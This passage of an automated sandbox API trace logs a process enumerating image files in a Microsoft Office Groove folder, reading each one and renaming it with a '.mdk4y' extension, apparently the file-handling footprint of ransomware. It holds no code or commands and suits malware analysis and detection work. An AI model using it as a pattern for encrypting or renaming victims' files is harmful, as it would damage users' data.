Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg.mdk4y")) returned 1 [0216.163] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.163] AreFileApisANSI () returned 1 [0216.163] GetACP () returned 0x4e4 [0216.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DATE.JPG", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="DATE.JPG.JPG", lpUsedDefaultChar=0x37dd1c) returned 8 [0216.163] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829139400000) returned 1 [0216.164] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x42af, lpOverlapped=0x0) returned 1 [0216.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829139500000) returned 1 [0216.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829139500000) returned 1 [0216.166] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg.mdk4y")) returned 1 [0216.166] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.166] AreFileApisANSI () returned 1 [0216.166] GetACP () returned 0x4e4 [0216.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DATETIME.JPG", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="DATETIME.JPG", lpUsedDefaultChar=0x37dd1c) returned 12 [0216.167] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829139700000) returned 1 [0216.167] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x4139, lpOverlapped=0x0) returned 1 [0216.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829140000000) returned 1 [0216.170] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829140000000) returned 1 [0216.170] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg.mdk4y")) returned 1 [0216.171] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.171] AreFileApisANSI () returned 1 [0216.171] GetACP () returned 0x4e4 [0216.171] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DigitalInk.jpg", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="DigitalInk.jpgg", lpUsedDefaultChar=0x37dd1c) returned 14 [0216.171] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.186] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829141600000) returned 1 [0216.186] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x3e01, lpOverlapped=0x0) returned 1 [0216.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829142300000) returned 1 [0216.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829142300000) returned 1 [0216.193] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg.mdk4y")) returned 1 [0216.194] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.194] AreFileApisANSI () returned 1 [0216.194] GetACP () returned 0x4e4 [0216.195] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="EmbeddedView.jpg", cchWideChar=16, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="EmbeddedView.jpgi", lpUsedDefaultChar=0x37dd1c) returned 16 [0216.195] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829142500000) returned 1 [0216.196] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x20e8, lpOverlapped=0x0) returned 1 [0216.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829142700000) returned 1 [0216.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829142700000) returned 1 [0216.197] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg.mdk4y")) returned 1 [0216.198] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.198] AreFileApisANSI () returned 1 [0216.198] GetACP () returned 0x4e4 [0216.198] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADING.JPG", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="HEADING.JPGw.jpg", lpUsedDefaultChar=0x37dd1c) returned 11 [0216.198] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.199] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829142900000) returned 1 [0216.199] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x3e72, lpOverlapped=0x0) returned 1 [0216.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829143800000) returned 1 [0216.208] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829143800000) returned 1 [0216.208] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg.mdk4y")) returned 1 [0216.209] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.209] AreFileApisANSI () returned 1 [0216.209] GetACP () returned 0x4e4 [0216.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IMAGE.JPG", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="IMAGE.JPGPG", lpUsedDefaultChar=0x37dd1c) returned 9 [0216.209] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.210] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829144000000) returned 1 [0216.210] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x139a, lpOverlapped=0x0) returned 1 [0216.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829144700000) returned 1 [0216.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829144700000) returned 1 [0216.217] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg.mdk4y")) returned 1 [0216.218] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.218] AreFileApisANSI () returned 1 [0216.218] GetACP () returned 0x4e4 [0216.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LINE.JPG", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="LINE.JPGG", lpUsedDefaultChar=0x37dd1c) returned 8 [0216.219] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.220] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829145000000) returned 1 [0216.220] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xe65, lpOverlapped=0x0) returned 1 [0216.223] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829145300000) returned 1 [0216.223] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829145300000) returned 1 [0216.223] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg.mdk4y")) returned 1 [0216.224] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.224] AreFileApisANSI () returned 1 [0216.224] GetACP () returned 0x4e4 [0216.224] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LISTBOX.JPG", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="LISTBOX.JPG", lpUsedDefaultChar=0x37dd1c) returned 11 [0216.224] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.225] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829145500000) returned 1 [0216.225] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x3b3f, lpOverlapped=0x0) returned 1 [0216.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829146100000) returned 1 [0216.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829146100000) returned 1 [0216.232] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg.mdk4y")) returned 1 [0216.233] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.233] AreFileApisANSI () returned 1 [0216.233] GetACP () returned 0x4e4 [0216.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NUMERIC.JPG", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="NUMERIC.JPG", lpUsedDefaultChar=0x37dd1c) returned 11 [0216.233] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829146300000) returned 1 [0216.234] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x443a, lpOverlapped=0x0) returned 1 [0216.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829147300000) returned 1 [0216.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829147300000) returned 1 [0216.244] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg.mdk4y")) returned 1 [0216.245] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.245] AreFileApisANSI () returned 1 [0216.245] GetACP () returned 0x4e4 [0216.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PASSWORD.JPG", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="PASSWORD.JPG.jpg", lpUsedDefaultChar=0x37dd1c) returned 12 [0216.245] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829147600000) returned 1 [0216.246] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x12f5, lpOverlapped=0x0) returned 1 [0216.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829147700000) returned 1 [0216.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829147700000) returned 1 [0216.247] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg.mdk4y")) returned 1 [0216.248] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.248] AreFileApisANSI () returned 1 [0216.248] GetACP () returned 0x4e4 [0216.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RADIO.JPG", cchWideChar=9, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="RADIO.JPGJPG", lpUsedDefaultChar=0x37dd1c) returned 9 [0216.248] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.249] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829147900000) returned 1 [0216.249] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x43c8, lpOverlapped=0x0) returned 1 [0216.253] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829148300000) returned 1 [0216.253] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829148300000) returned 1 [0216.253] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg.mdk4y")) returned 1 [0216.254] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.254] AreFileApisANSI () returned 1 [0216.254] GetACP () returned 0x4e4 [0216.254] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SectionHeading.jpg", cchWideChar=18, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="SectionHeading.jpgc", lpUsedDefaultChar=0x37dd1c) returned 18 [0216.255] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0216.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829152100000) returned 1 [0216.291] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x3ad9, lpOverlapped=0x0) returned 1 [0216.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829153400000) returned 1 [0216.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829153400000) returned 1 [0216.304] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg.mdk4y")) returned 1 [0216.305] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0216.306] AreFileApisANSI () returned 1 [0216.306] GetACP () returned 0x4e4 [0216.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="StaticText.jpg", cchWideChar=14, 